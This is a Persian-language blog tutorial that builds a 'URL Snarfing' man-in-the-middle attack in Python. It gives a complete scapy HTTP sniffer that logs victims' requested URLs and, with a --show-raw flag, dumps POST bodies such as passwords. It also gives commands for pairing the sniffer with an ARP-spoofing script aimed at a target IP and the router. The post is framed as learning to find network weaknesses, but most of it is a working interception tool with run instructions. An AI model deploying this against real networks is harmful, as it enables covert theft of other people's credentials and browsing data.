وبلاگ فربد | Farbod Blog

توی این وبلاگ راجع به پروژه هام صحبت می کنم

پیاده سازی حمله URL Snarfing در پایتون

  • ۸۷۵

سلام دوستان :)

 

توی این پست قراره با هم نحوه پیاده سازی حمله URL Snarfing در پایتون رو بببینیم.

شاید اول از خودتون بپرسین که اصلا URL Snarfing چی هست؟

URL Snarfing یک نوع حمله مرد میانی (MITM: Man in The Middle) هستش که قبلا این مبحث رو توی پست (ARP Spoofing در پایتون) توضیح دادم.

قبل از اینکه بریم سراغ ادامه مطلب بهتره که بدونیم اهمیت یادگیری این نوع حملات اینه که ما میتونیم آسیب پذیری های یک شبکه و سیستم حفاظت شده رو شناسایی کنیم و با پوشش این آسیب پذیری ها از هک شدن اون شبکه و سیستم جلوگیری کنیم.

پیش نیاز این پست این هستش که شما با ARP Spoofing آشنایی داشته باشین. ولی نگران نباشین! همینطور که گفتم من قبلا اونو توی پست (ARP Spoofing در پایتون) کامل توضیح دادم.

 

بعد از خوندن اون پست بهتره بریم سراغ مفهوم دقیق URL Snarfing.

کاری که توی حمله URL Snarfing انجام میشه تقریبا مثل همون کاریه که توی ARP Spoofing انجام میدادیم. فقط فرقی که داره اینه که به جای تمام packet ها، فقط packet های HTTP رو Sniff میکنیم و همونجا توی برنامه نمایش میدیم. خبر خوب اینه که برای جلوگیری از این حمله میتونین از همون اسکریپتی که توی پست (جلوگیری از ARP Spoofing) نوشتم استفاده کنین :))))

 

خب حالا که پست پیش نیاز رو خوندیم و فهمیدیم که URL Snarfing چی هست میتونیم بریم سراغ نصب پیش نیاز های این برنامه.

 

اول از همه باید ماژول های مورد نیاز رو نصب کنیم.

 

برای نصب scapy و پیش نیاز های اون میتونین به صفحه رسمی سایت scapy مراجعه کنین.

 

برای نصب colorama توی ویندوز برین توی cmd و دستور زیر رو وارد کنین:

pip install colorama

برای نصب colorama توی لینوکس برین توی terminal و دستور زیر رو وارد کنین:

sudo pip3 install colorama

 

توجه کنید که باید ip forwarding روی سیستمتون فعال باشه که باز هم آموزشش رو توی پست (ARP Spoofing در پایتون) دادم :)

خب بعد از نصب پیش نیاز ها بریم سراغ نوشتن برنامه؛

 

ما برای پیاده سازی این حمله از دو تا اسکریپت استفاده میکنیم یکی اسکریپتی که توی پست (ARP Spoofing در پایتون) نوشتیم و یکی هم اسکریپتی که الان قراره بنویسیم :)

 

خب بریم سراغ کد؛

 

سورس:

from scapy.all import *
from scapy.layers.http import HTTPRequest # import HTTP packet
from colorama import init, Fore

# initialize colorama
init()

# define colors
GREEN = Fore.GREEN
RED   = Fore.RED
RESET = Fore.RESET

def sniff_packets(iface=None):
    """
    Sniff 80 port packets with `iface`, if None (default), then the
    scapy's default interface is used
    """
    if iface:
        # port 80 for http (generally)
        # `process_packet` is the callback
        sniff(filter="port 80", prn=process_packet, iface=iface, store=False)
    else:
        # sniff with default interface
        sniff(filter="port 80", prn=process_packet, store=False)

def process_packet(packet):
    """
    This function is executed whenever a packet is sniffed
    """
    if packet.haslayer(HTTPRequest):
        # if this packet is an HTTP Request
        # get the requested URL
        url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode()
        # get the requester's IP Address
        ip = packet[IP].src
        # get the request method
        method = packet[HTTPRequest].Method.decode()
        print(f"\n{GREEN}[+] {ip} Requested {url} with {method}{RESET}")
        if show_raw and packet.haslayer(Raw) and method == "POST":
            # if show_raw flag is enabled, has raw data, and the requested method is "POST"
            # then show raw
            print(f"\n{RED}[*] Some useful Raw data: {packet[Raw].load}{RESET}")


if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="HTTP Packet Sniffer, this is useful when you're a man in the middle." \
                                                 + "It is suggested that you run arp spoof before you use this script, otherwise it'll sniff your personal packets")
    parser.add_argument("-i", "--iface", help="Interface to use, default is scapy's default interface")
    parser.add_argument("--show-raw", dest="show_raw", action="store_true", help="Whether to print POST raw data, such as passwords, search queries, etc.")

    # parse arguments
    args = parser.parse_args()
    iface = args.iface
    show_raw = args.show_raw

    sniff_packets(iface)

توضیح: خب اکثر این توابع و دستورات رو قبلا توی پست (ARP Spoofing در پایتون) توضیح دادم  و الان قسمت هایی که تغییر کرده رو میگم. یکی از قسمت های جدید تعریف تابع sniff_packets هست که میاد با استفاده از تابع sniff بسته های HTTP رو sniff میکنه. بعد تابع process_packet رو تعریف کردیم که در واقع همون callback تابع sniff هستش که توی تابع sniff_packets استفاده کردیم. توی تابع process_packets گفتیم که اگر بسته از توع HTTP بود بیاد یک سری اطلاعات مانند مسیری که بسته HTTP به سمتش می رفته ،نوع بسته و User Agent هدف (User Agent مشخص میکنه که کلاینت با چه دستگاه و چه مرورگری به سایت بسته فرستاده) رو داخل یک سری متغییر ذخیره کنه.

 

بعدش با استفاده از ماژول argparse اومدیم یک سری ورودی برای برنامه مون تعریف کردیم.

امیدوارم که متوجه شده باشین. در ضمن برای اینکه بهتر متوجه کد بشین میتونین توضیحاتی که توی خود برنامه دادم رو هم بخونین.

 

خب بریم سراغ اجرا کردن این برنامه.

 

برای اجرا کردن برنامه توی ویندوز یک cmd با دسترسی ادمین باز کنین و برین توی مسیر اسکریپت ARP Spoofing و کد زیر رو بزنین:

python arp_spoofing.py [target_ip] [router_ip] --verbose

توجه کنید که باید جای arp_spoofing.py اسم اسکریپت ARP Spoofing و جای target_ip آی پی هدفتون و جای router_ip آی پی روتر رو بذارین.

 

خب حالا اون پنجره رو باز بزارین و یک cmd دیگه با دسترسی ادمین باز کنین و برین توی مسیر اسکریپت URL Snarfing و کد زیر رو بزنین:

python url_snarfing.py -i [interface] --show-raw

توجه کنید که باید جای url_snarfing.py اسم اسکریپت URL Snarfing رو بزارین و جای interface باید اینترفیسی که میخواین روش شنود کنین رو بذارین.

 

 

برای لینوکس هم مثل همینه اول یک ترمینال باز کنین و دستور زیر رو وارد کنین:

sudo python3 arp_spoofing.py [target_ip] [router_ip] --verbose

 

توجه کنید که باید جای arp_spoofing.py اسم اسکریپت ARP Spoofing و جای target_ip آی پی هدفتون و جای router_ip آی پی روتر رو بذارین

حالا یک ترمینال دیگه باز کنین و دستور زیر رو وارد کنین:

 

sudo python3 url_snarfing.py -i [interface] --show-raw

توجه کنید که باید جای url_snarfing.py اسم اسکریپت URL Snarfing رو بزارین و جای interface باید اینترفیسی که میخواین روش شنود کنین رو بذارین.

 

خب حالا میتونین تمام بسته های HTTP که بین هدف و وبسایت ها رد و بدل میشه رو ببینین :)))

نکته: توجه کنید که این روش روی HTTPS جواب نمیده چون اطلاعاتی که با استفاده از پروتکل HTTPS تبادل میشن رمزنگاری شدن و شنود اونها هیچ فایده ای نداره.

 

امیدوارم براتون مفید بوده باشه D:


ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی